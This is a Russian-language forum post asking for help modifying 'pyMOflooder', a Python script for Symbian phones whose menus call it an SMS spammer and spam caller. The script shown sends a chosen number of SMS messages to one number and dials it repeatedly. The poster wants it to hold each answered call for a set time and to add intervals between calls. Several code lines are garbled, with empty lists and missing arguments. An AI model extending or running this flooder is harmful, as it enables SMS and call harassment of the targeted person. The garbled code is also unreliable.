
мне очень нужен переделать программу который сделает автодозвон на указанный номер. Можно ввести количество звонка. Но не указана когда положить труппку. Я хочу изменить его таким образом: возможность задать время разговора или (после ответа удержат звонок 8 мин 58 сек потом автоматически положить труппку) как программу auto hang up , но не знаю каким образам изменит программу. Била бы здорово если добавлять интервал временны между количеством звонка.
Помогите пожалуйста буду очень благодарен!!!
Вот код программы
def ru(x):return x.decode('utf-8')
import appuifw
import appswitch
import telephone
import e32
import random
import messaging
appuifw.app.title=u'pyMOflooder'
def redraw(rect):
cc.clear(0x000000)
cc.text((10,20),ru('pyMOflooder 1.1.0'),(0xFFF8DC))
cc.text((10,40),ru('от автора zoellner86'),(0xFFF8DC))
cc.text((10,60),ru('www.zoellner.tk/pymoflooder'),(0xFFF8DC))
cc.text((10,80),ru('ICQ: 379-733-981'),(0xFFF8DC))
cc.text((10,100),ru('Перевод: Bir91'),(0xFFF8DC))
cc.text((10,120),ru('ICQ: 391-510-930'),(0xFFF8DC))
cc.line(,(0xffcc03))
cc.line(,(0xffcc03))
def menu():
appuifw.app.body=cc
appuifw.app.screen='normal'
redraw(cc)
lock=appuifw.e32.Ao_lock()
cc=appuifw.Canvas(event_callback=None, redraw_callback=redraw)
menu()
def exit_key_handler():
app_lock.signal()
appuifw.app.set_exit()
def numbers():
phonenr = appuifw.query(ru('Номер телефона'), ‘text’)
quant = appuifw.query(ru('Количество'), ‘number’)
i=0
smstext = int(i) + 1
while i<quant:
messaging.sms_send(phonenr, smstext)
i=i+1
smstext = int(smstext) + 1
print appswitch.switch_to_fg(u'pyMOflooder')
L =
test = appuifw.popup_menu(L,str(quant)+ru(' сообщений отправлено'))
if test == 0 :
print ‘continue’
elif test == 1 :
app_lock.signal()
appuifw.app.set_exit()
def text():
smstext = appuifw.query(ru('Сообщение'), ‘text’)
phonenr = appuifw.query(ru('Номер телефона'), ‘text’)
quant = appuifw.query(ru('Количество'), ‘number’)
i=0
while i<quant:
messaging.sms_send(phonenr, smstext)
i=i+1
print appswitch.switch_to_fg(u'pyMOflooder')
L =
test = appuifw.popup_menu(L,str(quant)+ru(' сообщений отправлено'))
if test == 0 :
print ‘continue’
elif test == 1 :
app_lock.signal()
appuifw.app.set_exit()
def call():
phonenumber = appuifw.query(ru('Номер телефона'),'text')
number = appuifw.query(ru('Количество'),'number')
randomcall = appuifw.query(ru('Задержка'),'number')
for i in range(number):
telephone.dial(phonenumber)
e32.ao_sleep(10)
telephone.hang_up(1)
e32.ao_sleep(random.randrange(randomcall+1))
else:
print appswitch.switch_to_fg(u'pyMOflooder')
L =
test = appuifw.popup_menu(L,str(number)+ru(' звонков совершено'))
if test == 0 :
print ‘continue’
elif test == 1 :
app_lock.signal()
appuifw.app.set_exit()
app_lock = e32.Ao_lock()
menu1= ((ru('Текст вашего сообщения'), text),(ru('Числовая последовательность'), numbers))
appuifw.app.menu = [(ru('SMS спамер'),menu1),
(ru('Спам вызов'), call),
(ru('Выход'), exit_key_handler)
]
lock.wait()
appuifw.app.menu_key_text=ru('Действия')
appuifw.app.exit_key_text=ru('Выход')
appuifw.app.exit_key_handler = exit_key_handler
appuifw.app.set_exit()